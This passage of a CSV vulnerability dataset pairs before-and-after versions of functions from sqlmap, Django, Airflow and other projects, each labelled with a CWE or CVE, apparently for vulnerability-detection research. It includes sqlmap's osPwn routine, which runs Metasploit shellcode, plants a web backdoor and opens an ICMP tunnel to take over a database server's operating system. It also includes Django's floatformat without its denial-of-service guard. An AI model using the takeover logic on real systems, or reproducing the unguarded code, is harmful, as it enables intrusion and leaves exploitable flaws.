        warnMsg  = ""unknown charset '%s'. "" % encoding
        warnMsg += ""please report by e-mail to sqlmap-users@lists.sourceforge.net.""

        logger.warn(warnMsg)
        encoding = conf.dataEncoding
    return encoding"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/operations.py,0,"def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        # Same comment as in date_trunc_sql.
        self._require_pytz()
        return ""django_datetime_trunc('%s', %s, %%s)"" % (
            lookup_type.lower(), field_name), [tzname]",CWE-Unknown,django/django,2dc93bb10ab1c2af1df9977f1b51d47cadab7b21,"def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        # Same comment as in date_trunc_sql.
        self._require_pytz()
        return ""django_datetime_trunc('%s', %s, %%s)"" % (
            lookup_type.lower(), field_name), [tzname]"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/takeover.py,0,"def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = ""how do you want to establish the tunnel?""
            msg += ""\n[1] TCP: Metasploit Framework (default)""
            msg += ""\n[2] ICMP: icmpsh - ICMP tunneling""

            while True:
                tunnel = readInput(msg, default='1')

                if isDigit(tunnel) and int(tunnel) in (1, 2):
                    tunnel = int(tunnel)
                    break

                else:
                    warnMsg = ""invalid value, valid values are '1' and '2'""
                    logger.warning(warnMsg)
        else:
            tunnel = 1

            debugMsg = ""the tunnel can be established only via TCP when ""
            debugMsg += ""the back-end DBMS is not Windows""
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = ""you need to run sqlmap as an administrator ""
                errMsg += ""if you want to establish an out-of-band ICMP ""
                errMsg += ""tunnel because icmpsh uses raw sockets to ""
                errMsg += ""sniff and craft ICMP packets""
                raise SqlmapMissingPrivileges(errMsg)

            try:
                __import__(""impacket"")
            except ImportError:
                errMsg = ""sqlmap requires 'python-impacket' third-party library ""
                errMsg += ""in order to run icmpsh master. You can get it at ""
                errMsg += ""https://github.com/SecureAuthCorp/impacket""
                raise SqlmapMissingDependence(errMsg)

            filename = ""/proc/sys/net/ipv4/icmp_echo_ignore_all""

            if os.path.exists(filename):
                try:
                    with openFile(filename, ""wb"") as f:
                        f.write(""1"")
                except IOError as ex:
                    errMsg = ""there has been a file opening/writing error ""
                    errMsg += ""for filename '%s' ('%s')"" % (filename, getSafeExString(ex))
                    raise SqlmapSystemException(errMsg)
            else:
                errMsg = ""you need to disable ICMP replies by your machine ""
                errMsg += ""system-wide. For example run on Linux/Unix:\n""
                errMsg += ""# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n""
                errMsg += ""If you miss doing that, you will receive ""
                errMsg += ""information from the database server and it ""
                errMsg += ""is unlikely to receive commands sent from you""
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop(""sys_bineval"")

        self.getRemoteTempPath()

        if isStackingAvailable() or conf.direct:
            web = False

            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    msg = ""how do you want to execute the Metasploit shellcode ""
                    msg += ""on the back-end database underlying operating system?""
                    msg += ""\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)""
                    msg += ""\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)""

                    while True:
                        choice = readInput(msg, default='1')

                        if isDigit(choice) and int(choice) in (1, 2):
                            choice = int(choice)
                            break

                        else:
                            warnMsg = ""invalid value, valid values are '1' and '2'""
                            logger.warning(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc = ""thread""
                    setupSuccess = True
                else:
                    exitfunc = ""process""

                self.createMsfShellcode(exitfunc=exitfunc, format=""raw"", extra=""BufferRegister=EAX"", encode=""x86/alpha_mixed"")

                if not goUdf:
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        if Backend.isDbms(DBMS.MYSQL):
                            fallbackToWeb = True
                        else:
                            msg = ""unable to mount the operating system takeover""
                            raise SqlmapFilePathException(msg)

                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc:
                    debugMsg = ""by default MySQL on Windows runs as SYSTEM ""
                    debugMsg += ""user, no need to privilege escalate""
                    logger.debug(debugMsg)

            elif tunnel == 2:
                setupSuccess = self.uploadIcmpshSlave(web=web)

                if setupSuccess is not True:
                    if Backend.isDbms(DBMS.MYSQL):
                        fallbackToWeb = True
                    else:
                        msg = ""unable to mount the operating system takeover""
                        raise SqlmapFilePathException(msg)

        if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb):
            web = True

            if fallbackToWeb:
                infoMsg = ""falling back to web backdoor to establish the tunnel""
            else:
                infoMsg = ""going to use a web backdoor to establish the tunnel""
            logger.info(infoMsg)

            self.initEnv(web=web, forceInit=fallbackToWeb)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    # Unset --priv-esc if the back-end DBMS underlying operating
                    # system is not Windows
                    conf.privEsc = False

                    warnMsg = ""sqlmap does not implement any operating system ""
                    warnMsg += ""user privilege escalation technique when the ""
                    warnMsg += ""back-end DBMS underlying system is not Windows""
                    logger.warning(warnMsg)

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc=""process"", format=""raw"", extra=""BufferRegister=EAX"", encode=""x86/alpha_mixed"")
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        msg = ""unable to mount the operating system takeover""
                        raise SqlmapFilePathException(msg)

                elif tunnel == 2:
                    setupSuccess = self.uploadIcmpshSlave(web=web)

                    if setupSuccess is not True:
                        msg = ""unable to mount the operating system takeover""
                        raise SqlmapFilePathException(msg)

        if setupSuccess:
            if tunnel == 1:
                self.pwn(goUdf)
            elif tunnel == 2:
                self.icmpPwn()
        else:
            errMsg = ""unable to prompt for an out-of-band session""
            raise SqlmapNotVulnerableException(errMsg)

        if not conf.cleanup:
            self.cleanup(web=web)",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = ""how do you want to establish the tunnel?""
            msg += ""\n[1] TCP: Metasploit Framework (default)""
            msg += ""\n[2] ICMP: icmpsh - ICMP tunneling""

            while True:
                tunnel = readInput(msg, default='1')

                if isDigit(tunnel) and int(tunnel) in (1, 2):
                    tunnel = int(tunnel)
                    break

                else:
                    warnMsg = ""invalid value, valid values are '1' and '2'""
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = ""the tunnel can be established only via TCP when ""
            debugMsg += ""the back-end DBMS is not Windows""
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = ""you need to run sqlmap as an administrator ""
                errMsg += ""if you want to establish an out-of-band ICMP ""
                errMsg += ""tunnel because icmpsh uses raw sockets to ""
                errMsg += ""sniff and craft ICMP packets""
                raise SqlmapMissingPrivileges(errMsg)

            try:
                __import__(""impacket"")
            except ImportError:
                errMsg = ""sqlmap requires 'python-impacket' third-party library ""
                errMsg += ""in order to run icmpsh master. You can get it at ""
                errMsg += ""https://github.com/SecureAuthCorp/impacket""
                raise SqlmapMissingDependence(errMsg)

            filename = ""/proc/sys/net/ipv4/icmp_echo_ignore_all""

            if os.path.exists(filename):
                try:
                    with openFile(filename, ""wb"") as f:
                        f.write(""1"")
                except IOError as ex:
                    errMsg = ""there has been a file opening/writing error ""
                    errMsg += ""for filename '%s' ('%s')"" % (filename, getSafeExString(ex))
                    raise SqlmapSystemException(errMsg)
            else:
                errMsg = ""you need to disable ICMP replies by your machine ""
                errMsg += ""system-wide. For example run on Linux/Unix:\n""
                errMsg += ""# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n""
                errMsg += ""If you miss doing that, you will receive ""
                errMsg += ""information from the database server and it ""
                errMsg += ""is unlikely to receive commands sent from you""
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop(""sys_bineval"")

        self.getRemoteTempPath()

        if isStackingAvailable() or conf.direct:
            web = False

            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    msg = ""how do you want to execute the Metasploit shellcode ""
                    msg += ""on the back-end database underlying operating system?""
                    msg += ""\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)""
                    msg += ""\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)""

                    while True:
                        choice = readInput(msg, default='1')

                        if isDigit(choice) and int(choice) in (1, 2):
                            choice = int(choice)
                            break

                        else:
                            warnMsg = ""invalid value, valid values are '1' and '2'""
                            logger.warn(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc = ""thread""
                    setupSuccess = True
                else:
                    exitfunc = ""process""

                self.createMsfShellcode(exitfunc=exitfunc, format=""raw"", extra=""BufferRegister=EAX"", encode=""x86/alpha_mixed"")

                if not goUdf:
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        if Backend.isDbms(DBMS.MYSQL):
                            fallbackToWeb = True
                        else:
                            msg = ""unable to mount the operating system takeover""
                            raise SqlmapFilePathException(msg)

                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc:
                    debugMsg = ""by default MySQL on Windows runs as SYSTEM ""
                    debugMsg += ""user, no need to privilege escalate""
                    logger.debug(debugMsg)

            elif tunnel == 2:
                setupSuccess = self.uploadIcmpshSlave(web=web)

                if setupSuccess is not True:
                    if Backend.isDbms(DBMS.MYSQL):
                        fallbackToWeb = True
                    else:
                        msg = ""unable to mount the operating system takeover""
                        raise SqlmapFilePathException(msg)

        if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb):
            web = True

            if fallbackToWeb:
                infoMsg = ""falling back to web backdoor to establish the tunnel""
            else:
                infoMsg = ""going to use a web backdoor to establish the tunnel""
            logger.info(infoMsg)

            self.initEnv(web=web, forceInit=fallbackToWeb)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    # Unset --priv-esc if the back-end DBMS underlying operating
                    # system is not Windows
                    conf.privEsc = False

                    warnMsg = ""sqlmap does not implement any operating system ""
                    warnMsg += ""user privilege escalation technique when the ""
                    warnMsg += ""back-end DBMS underlying system is not Windows""
                    logger.warn(warnMsg)

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc=""process"", format=""raw"", extra=""BufferRegister=EAX"", encode=""x86/alpha_mixed"")
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        msg = ""unable to mount the operating system takeover""
                        raise SqlmapFilePathException(msg)

                elif tunnel == 2:
                    setupSuccess = self.uploadIcmpshSlave(web=web)

                    if setupSuccess is not True:
                        msg = ""unable to mount the operating system takeover""
                        raise SqlmapFilePathException(msg)

        if setupSuccess:
            if tunnel == 1:
                self.pwn(goUdf)
            elif tunnel == 2:
                self.icmpPwn()
        else:
            errMsg = ""unable to prompt for an out-of-band session""
            raise SqlmapNotVulnerableException(errMsg)

        if not conf.cleanup:
            self.cleanup(web=web)"
,UNKNOWN,UNKNOWN,providers/tests/amazon/aws/secrets/test_secrets_manager.py,1,"def test_get_conn_value_full_url_mode(self):
        secret_id = ""airflow/connections/test_postgres""
        create_param = {
            ""Name"": secret_id,
            ""SecretString"": ""postgresql://airflow:airflow@host:5432/airflow"",
        }

        secrets_manager_backend = SecretsManagerBackend()
        secrets_manager_backend.client.create_secret(**create_param)

        returned_uri = secrets_manager_backend.get_conn_value(conn_id=""test_postgres"")
        assert returned_uri == ""postgresql://airflow:airflow@host:5432/airflow""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_get_conn_value_full_url_mode(self):
        secret_id = ""airflow/connections/test_postgres""
        create_param = {
            ""Name"": secret_id,
            ""SecretString"": ""postgresql://airflow:airflow@host:5432/airflow"",
        }

        secrets_manager_backend = SecretsManagerBackend()
        secrets_manager_backend.client.create_secret(**create_param)

        returned_uri = secrets_manager_backend.get_conn_value(conn_id=""test_postgres"")
        assert ""postgresql://airflow:airflow@host:5432/airflow"" == returned_uri"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/evaluation/utils.py,0,"def group_by_evaluation_id(df: pd.DataFrame, entity_cls):
        """"""
        Groups rows by 'evaluation_id' and converts them into entities using the provided class.

        Args:
            df (pd.DataFrame): DataFrame to group.
            entity_cls: Class used to create entities from dictionary rows.

        Returns:
            Dict[str, List]: A dictionary with 'evaluation_id' as keys and lists of entity
                instances as values.
        """"""
        grouped = df.groupby(""evaluation_id"", group_keys=False).apply(
            lambda x: x.to_dict(orient=""records"")
        )
        return grouped.to_dict()",,mlflow/mlflow,06b041b340142bb1a20b0e5be77b3c031ec92131,"def group_by_evaluation_id(df: pd.DataFrame, entity_cls):
        """"""
        Groups rows by 'evaluation_id' and converts them into entities using the provided class.

        Args:
            df (pd.DataFrame): DataFrame to group.
            entity_cls: Class used to create entities from dictionary rows.

        Returns:
            Dict[str, List]: A dictionary with 'evaluation_id' as keys and lists of entity
                instances as values.
        """"""
        grouped = df.groupby(""evaluation_id"").apply(lambda x: x.to_dict(orient=""records""))
        return grouped.to_dict()"
,CVE-2024-41989,UNKNOWN,django/template/defaultfilters.py,1,"def floatformat(text, arg=-1):
    """"""
    Display a float to a specified number of decimal places.

    If called without an argument, display the floating point number with one
    decimal place -- but only if there's a decimal place to be displayed:

    * num1 = 34.23234
    * num2 = 34.00000
    * num3 = 34.26000
    * {{ num1|floatformat }} displays ""34.2""
    * {{ num2|floatformat }} displays ""34""
    * {{ num3|floatformat }} displays ""34.3""

    If arg is positive, always display exactly arg number of decimal places:

    * {{ num1|floatformat:3 }} displays ""34.232""
    * {{ num2|floatformat:3 }} displays ""34.000""
    * {{ num3|floatformat:3 }} displays ""34.260""

    If arg is negative, display arg number of decimal places -- but only if
    there are places to be displayed:

    * {{ num1|floatformat:""-3"" }} displays ""34.232""
    * {{ num2|floatformat:""-3"" }} displays ""34""
    * {{ num3|floatformat:""-3"" }} displays ""34.260""

    If arg has the 'g' suffix, force the result to be grouped by the
    THOUSAND_SEPARATOR for the active locale. When the active locale is
    en (English):

    * {{ 6666.6666|floatformat:""2g"" }} displays ""6,666.67""
    * {{ 10000|floatformat:""g"" }} displays ""10,000""

    If arg has the 'u' suffix, force the result to be unlocalized. When the
    active locale is pl (Polish):

    * {{ 66666.6666|floatformat:""2"" }} displays ""66666,67""
    * {{ 66666.6666|floatformat:""2u"" }} displays ""66666.67""

    If the input float is infinity or NaN, display the string representation
    of that value.
    """"""
    force_grouping = False
    use_l10n = True
    if isinstance(arg, str):
        last_char = arg[-1]
        if arg[-2:] in {""gu"", ""ug""}:
            force_grouping = True
            use_l10n = False
            arg = arg[:-2] or -1
        elif last_char == ""g"":
            force_grouping = True
            arg = arg[:-1] or -1
        elif last_char == ""u"":
            use_l10n = False
            arg = arg[:-1] or -1
    try:
        input_val = str(text)
        d = Decimal(input_val)
    except InvalidOperation:
        try:
            d = Decimal(str(float(text)))
        except (ValueError, InvalidOperation, TypeError):
            return """"
    try:
        p = int(arg)
    except ValueError:
        return input_val

    _, digits, exponent = d.as_tuple()
    try:
        number_of_digits_and_exponent_sum = len(digits) + abs(exponent)
    except TypeError:
        # Exponent values can be ""F"", ""n"", ""N"".
        number_of_digits_and_exponent_sum = 0

    # Values with more than 200 digits, or with a large exponent, are returned ""as is""
    # to avoid high memory consumption and potential denial-of-service attacks.
    # The cut-off of 200 is consistent with django.utils.numberformat.floatformat().
    if number_of_digits_and_exponent_sum > 200:
        return input_val

    try:
        m = int(d) - d
    except (ValueError, OverflowError, InvalidOperation):
        return input_val

    if not m and p <= 0:
        return mark_safe(
            formats.number_format(
                ""%d"" % (int(d)),
                0,
                use_l10n=use_l10n,
                force_grouping=force_grouping,
            )
        )

    exp = Decimal(1).scaleb(-abs(p))
    # Set the precision high enough to avoid an exception (#15789).
    tupl = d.as_tuple()
    units = len(tupl[1])
    units += -tupl[2] if m else tupl[2]
    prec = abs(p) + units + 1
    prec = max(getcontext().prec, prec)

    # Avoid conversion to scientific notation by accessing `sign`, `digits`,
    # and `exponent` from Decimal.as_tuple() directly.
    rounded_d = d.quantize(exp, ROUND_HALF_UP, Context(prec=prec))
    sign, digits, exponent = rounded_d.as_tuple()
    digits = [str(digit) for digit in reversed(digits)]
    while len(digits) <= abs(exponent):
        digits.append(""0"")
    digits.insert(-exponent, ""."")
    if sign and rounded_d:
        digits.append(""-"")
    number = """".join(reversed(digits))
    return mark_safe(
        formats.number_format(
            number,
            abs(p),
            use_l10n=use_l10n,
            force_grouping=force_grouping,
        )
    )",CWE-79,django/django,27900fe56f3d3cabb4aeb6ccb82f92bab29073a8,"def floatformat(text, arg=-1):
    """"""
    Display a float to a specified number of decimal places.

    If called without an argument, display the floating point number with one
    decimal place -- but only if there's a decimal place to be displayed:

    * num1 = 34.23234
    * num2 = 34.00000
    * num3 = 34.26000
    * {{ num1|floatformat }} displays ""34.2""
    * {{ num2|floatformat }} displays ""34""
    * {{ num3|floatformat }} displays ""34.3""

    If arg is positive, always display exactly arg number of decimal places:

    * {{ num1|floatformat:3 }} displays ""34.232""
    * {{ num2|floatformat:3 }} displays ""34.000""
    * {{ num3|floatformat:3 }} displays ""34.260""

    If arg is negative, display arg number of decimal places -- but only if
    there are places to be displayed:

    * {{ num1|floatformat:""-3"" }} displays ""34.232""
    * {{ num2|floatformat:""-3"" }} displays ""34""
    * {{ num3|floatformat:""-3"" }} displays ""34.260""

    If arg has the 'g' suffix, force the result to be grouped by the
    THOUSAND_SEPARATOR for the active locale. When the active locale is
    en (English):

    * {{ 6666.6666|floatformat:""2g"" }} displays ""6,666.67""
    * {{ 10000|floatformat:""g"" }} displays ""10,000""

    If arg has the 'u' suffix, force the result to be unlocalized. When the
    active locale is pl (Polish):

    * {{ 66666.6666|floatformat:""2"" }} displays ""66666,67""
    * {{ 66666.6666|floatformat:""2u"" }} displays ""66666.67""

    If the input float is infinity or NaN, display the string representation
    of that value.
    """"""
    force_grouping = False
    use_l10n = True
    if isinstance(arg, str):
        last_char = arg[-1]
        if arg[-2:] in {""gu"", ""ug""}:
            force_grouping = True
            use_l10n = False
            arg = arg[:-2] or -1
        elif last_char == ""g"":
            force_grouping = True
            arg = arg[:-1] or -1
        elif last_char == ""u"":
            use_l10n = False
            arg = arg[:-1] or -1
    try:
        input_val = str(text)
        d = Decimal(input_val)
    except InvalidOperation:
        try:
            d = Decimal(str(float(text)))
        except (ValueError, InvalidOperation, TypeError):
            return """"
    try:
        p = int(arg)
    except ValueError:
        return input_val

    try:
        m = int(d) - d
    except (ValueError, OverflowError, InvalidOperation):
        return input_val

    if not m and p <= 0:
        return mark_safe(
            formats.number_format(
                ""%d"" % (int(d)),
                0,
                use_l10n=use_l10n,
                force_grouping=force_grouping,
            )
        )

    exp = Decimal(1).scaleb(-abs(p))
    # Set the precision high enough to avoid an exception (#15789).
    tupl = d.as_tuple()
    units = len(tupl[1])
    units += -tupl[2] if m else tupl[2]
    prec = abs(p) + units + 1
    prec = max(getcontext().prec, prec)

    # Avoid conversion to scientific notation by accessing `sign`, `digits`,
    # and `exponent` from Decimal.as_tuple() directly.
    rounded_d = d.quantize(exp, ROUND_HALF_UP, Context(prec=prec))
    sign, digits, exponent = rounded_d.as_tuple()
    digits = [str(digit) for digit in reversed(digits)]
    while len(digits) <= abs(exponent):
        digits.append(""0"")
    digits.insert(-exponent, ""."")
    if sign and rounded_d:
        digits.append(""-"")
    number = """".join(reversed(digits))
    return mark_safe(
        formats.number_format(
            number,
            abs(p),
            use_l10n=use_l10n,
            force_grouping=force_grouping,
        )
    )"
,UNKNOWN,UNKNOWN,django/utils/html.py,1,"def urlize(text, trim_url_limit=None, nofollow=False, autoescape=False):
    """"""
    Convert any URLs in text into clickable links.

    Works on http://, https://, and www. links.  Links can have trailing
    punctuation (periods, commas, close-parens) and leading punctuation
    (opening parens) and it'll still do the right thing.

    If trim_url_limit is not None, the URLs in link text longer than this limit
    will truncated to trim_url_limit-3 characters and appended with an elipsis.

    If nofollow is True, the URLs in link text will get a rel=""nofollow""
    attribute.
    """"""
    if autoescape:
        trim_url = lambda x, limit=trim_url_limit: conditional_escape(limit is not None and (len(x) > limit and ('%s...' % x[:max(0, limit - 3)])) or x)
    else:
        trim_url = lambda x, limit=trim_url_limit: limit is not None and (len(x) > limit and ('%s...' % x[:max(0, limit - 3)])) or x
    safe_input = isinstance(text, SafeData)
    words = word_split_re.split(force_unicode(text))
    nofollow_attr = nofollow and ' rel=""nofollow""' or ''
    for i, word in enumerate(words):
        match = punctuation_re.match(word)
        if match:
            lead, middle, trail = match.groups()
            if safe_input:
                middle = mark_safe(middle)
            if middle.startswith('www.') or ('@' not in middle and not middle.startswith('http://') and \
                    len(middle) > 0 and middle[0] in string.ascii_letters + string.digits and \
                    (middle.endswith('.org') or middle.endswith('.net') or middle.endswith('.com'))):
                middle = '<a href=""http://%s""%s>%s</a>' % (
                        urlquote(middle, safe='/&=:;#?+'),  nofollow_attr,
                        trim_url(middle))
            if middle.startswith('http://') or middle.startswith('https://'):
                middle = '<a href=""%s""%s>%s</a>' % (
                        urlquote(middle, safe='/&=:;#?+'), nofollow_attr,
                        trim_url(middle))
            if '@' in middle and not middle.startswith('www.') and \
                    not ':' in middle and simple_email_re.match(middle):
                middle = '<a href=""mailto:%s"">%s</a>' % (middle, middle)
            if lead + middle + trail != word:
                words[i] = lead + middle + trail
            elif autoescape and not safe_input:
                words[i] = escape(word)
        elif safe_input:
            words[i] = mark_safe(word)
        elif autoescape:
            words[i] = escape(word)
    return u''.join(words)",CWE-79,django/django,bd400a368da2441fe52659ce94e4a095b90aa69d,"def urlize(text, trim_url_limit=None, nofollow=False, autoescape=False):
    """"""
    Convert any URLs in text into clickable links.

    Works on http://, https://, and www. links.  Links can have trailing
    punctuation (periods, commas, close-parens) and leading punctuation
    (opening parens) and it'll still do the right thing.

    If trim_url_limit is not None, the URLs in link text longer than this limit
    will truncated to trim_url_limit-3 characters and appended with an elipsis.

    If nofollow is True, the URLs in link text will get a rel=""nofollow""
    attribute.
    """"""
    if autoescape:
        trim_url = lambda x, limit=trim_url_limit: conditional_escape(limit is not None and (len(x) > limit and ('%s...' % x[:max(0, limit - 3)])) or x)
    else:
        trim_url = lambda x, limit=trim_url_limit: limit is not None and (len(x) > limit and ('%s...' % x[:max(0, limit - 3)])) or x
    safe_input = isinstance(text, SafeData)
    words = word_split_re.split(force_unicode(text))
    nofollow_attr = nofollow and ' rel=""nofollow""' or ''
    for i, word in enumerate(words):
        match = punctuation_re.match(word)
        if match:
            lead, middle, trail = match.groups()
            if safe_input:
                middle = mark_safe(middle)
            if middle.startswith('www.') or ('@' not in middle and not middle.startswith('http://') and \
                    len(middle) > 0 and middle[0] in string.letters + string.digits and \
                    (middle.endswith('.org') or middle.endswith('.net') or middle.endswith('.com'))):
                middle = '<a href=""http://%s""%s>%s</a>' % (
                        urlquote(middle, safe='/&=:;#?+'),  nofollow_attr,
                        trim_url(middle))
            if middle.startswith('http://') or middle.startswith('https://'):
                middle = '<a href=""%s""%s>%s</a>' % (
                        urlquote(middle, safe='/&=:;#?+'), nofollow_attr,
                        trim_url(middle))
            if '@' in middle and not middle.startswith('www.') and \
                    not ':' in middle and simple_email_re.match(middle):
                middle = '<a href=""mailto:%s"">%s</a>' % (middle, middle)
            if lead + middle + trail != word:
                words[i] = lead + middle + trail
            elif autoescape and not safe_input:
                words[i] = escape(word)
        elif safe_input:
            words[i] = mark_safe(word)
        elif autoescape:
            words[i] = escape(word)
    return u''.join(words)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_vbox_guest.py,1,"def test_additions_installed():
    """"""
    Test to ensure that the VirtualBox Guest Additions are installed
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": True, ""comment"": """"}
    mock = MagicMock(side_effect=[True, False, False, False])
    with patch.dict(
        vbox_guest.__salt__,
        {""vbox_guest.additions_version"": mock, ""vbox_guest.additions_install"": mock},
    ):
        ret.update({""comment"": ""System already in the correct state""})
        assert vbox_guest.additions_installed(""salt"") == ret

        with patch.dict(vbox_guest.__opts__, {""test"": True}):
            ret.update(
                {
                    ""changes"": {""new"": True, ""old"": False},
                    ""comment"": (
                        ""The state of VirtualBox Guest Additions will be changed.""
                    ),
                    ""result"": None,
                }
            )
            assert vbox_guest.additions_installed(""salt"") == ret

        with patch.dict(vbox_guest.__opts__, {""test"": False}):
            ret.update(
                {
                    ""changes"": {""new"": False, ""old"": False},
                    ""comment"": ""The state of VirtualBox Guest Additions was changed!"",
                    ""result"": False,
                }
            )
            assert vbox_guest.additions_installed(""salt"") == ret",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_additions_installed():
    """"""
    Test to ensure that the VirtualBox Guest Additions are installed
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": True, ""comment"": """"}
    mock = MagicMock(side_effect=[True, False, False, False])
    with patch.dict(
        vbox_guest.__salt__,
        {""vbox_guest.additions_version"": mock, ""vbox_guest.additions_install"": mock},
    ):
        ret.update({""comment"": ""System already in the correct state""})
        assert vbox_guest.additions_installed(""salt"") == ret

        with patch.dict(vbox_guest.__opts__, {""test"": True}):
            ret.update(
                {
                    ""changes"": {""new"": True, ""old"": False},
                    ""comment"": ""The state of VirtualBox Guest""
                    "" Additions will be changed."",
                    ""result"": None,
                }
            )
            assert vbox_guest.additions_installed(""salt"") == ret

        with patch.dict(vbox_guest.__opts__, {""test"": False}):
            ret.update(
                {
                    ""changes"": {""new"": False, ""old"": False},
                    ""comment"": ""The state of VirtualBox Guest""
                    "" Additions was changed!"",
                    ""result"": False,
                }
            )
            assert vbox_guest.additions_installed(""salt"") == ret"
,UNKNOWN,UNKNOWN,tests/dag_processing/test_job_runner.py,1,"def test_refresh_dags_dir_doesnt_delete_zipped_dags(self, tmp_path):
        """"""Test DagProcessorJobRunner._refresh_dag_dir method""""""
        manager = DagProcessorJobRunner(
            job=Job(),
            processor=DagFileProcessorManager(
                dag_directory=TEST_DAG_FOLDER,
                max_runs=1,
                processor_timeout=timedelta(days=365),
                signal_conn=MagicMock(),
                dag_ids=[],
                async_mode=True,
            ),
        )
        dagbag = DagBag(dag_folder=tmp_path, include_examples=False)
        zipped_dag_path = os.path.join(TEST_DAGS_FOLDER, ""test_zip.zip"")
        dagbag.process_file(zipped_dag_path)
        dag = dagbag.get_dag(""test_zip_dag"")
        dag.sync_to_db()
        SerializedDagModel.write_dag(dag)
        manager.processor.last_dag_dir_refresh_time = timezone.utcnow() - timedelta(minutes=10)
        manager.processor._refresh_dag_dir()
        # Assert dag not deleted in SDM
        assert SerializedDagModel.has_dag(""test_zip_dag"")
        # assert code not deleted
        assert DagCode.has_dag(dag.dag_id)
        # assert dag still active
        assert dag.get_is_active()",CWE-703,apache/airflow,2d9e7a51bb30658405e258fdf9e4cfece49b2b71,"def test_refresh_dags_dir_doesnt_delete_zipped_dags(self, tmp_path):
        """"""Test DagProcessorJobRunner._refresh_dag_dir method""""""
        manager = DagProcessorJobRunner(
            job=Job(),
            processor=DagFileProcessorManager(
                dag_directory=TEST_DAG_FOLDER,
                max_runs=1,
                processor_timeout=timedelta(days=365),
                signal_conn=MagicMock(),
                dag_ids=[],
                async_mode=True,
            ),
        )
        dagbag = DagBag(dag_folder=tmp_path, include_examples=False)
        zipped_dag_path = os.path.join(TEST_DAGS_FOLDER, ""test_zip.zip"")
        dagbag.process_file(zipped_dag_path)
        dag = dagbag.get_dag(""test_zip_dag"")
        dag.sync_to_db()
        SerializedDagModel.write_dag(dag)
        manager.processor.last_dag_dir_refresh_time = timezone.utcnow() - timedelta(minutes=10)
        manager.processor._refresh_dag_dir()
        # Assert dag not deleted in SDM
        assert SerializedDagModel.has_dag(""test_zip_dag"")
        # assert code not deleted
        assert DagCode.has_dag(dag.fileloc)
        # assert dag still active
        assert dag.get_is_active()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/backends/base/test_operations.py,0,"def test_sql_flush(self):
        msg = 'subclasses of BaseDatabaseOperations must provide a sql_flush() method'
        with self.assertRaisesMessage(NotImplementedError, msg):
            self.ops.sql_flush(None, None)",CWE-Unknown,django/django,75410228dfd16e49eb3c0ea30b59b4c0d2ea6b03,"def test_sql_flush(self):
        msg = 'subclasses of BaseDatabaseOperations must provide a sql_flush() method'
        with self.assertRaisesMessage(NotImplementedError, msg):
            self.ops.sql_flush(None, None, None)"
,UNKNOWN,UNKNOWN,tests/template_tests/tests.py,1,"def get_template_tests(self):
        # SYNTAX --
        # 'template_name': ('template contents', 'context dict', 'expected string output' or Exception class)
        basedir = os.path.dirname(os.path.abspath(upath(__file__)))
        tests = {
            ### BASIC SYNTAX ################################################

            # Plain text should go through the template parser untouched
            'basic-syntax01': (""something cool"", {}, ""something cool""),

            # Variables should be replaced with their value in the current
            # context
            'basic-syntax02': (""{{ headline }}"", {'headline':'Success'}, ""Success""),

            # More than one replacement variable is allowed in a template
            'basic-syntax03': (""{{ first }} --- {{ second }}"", {""first"" : 1, ""second"" : 2}, ""1 --- 2""),

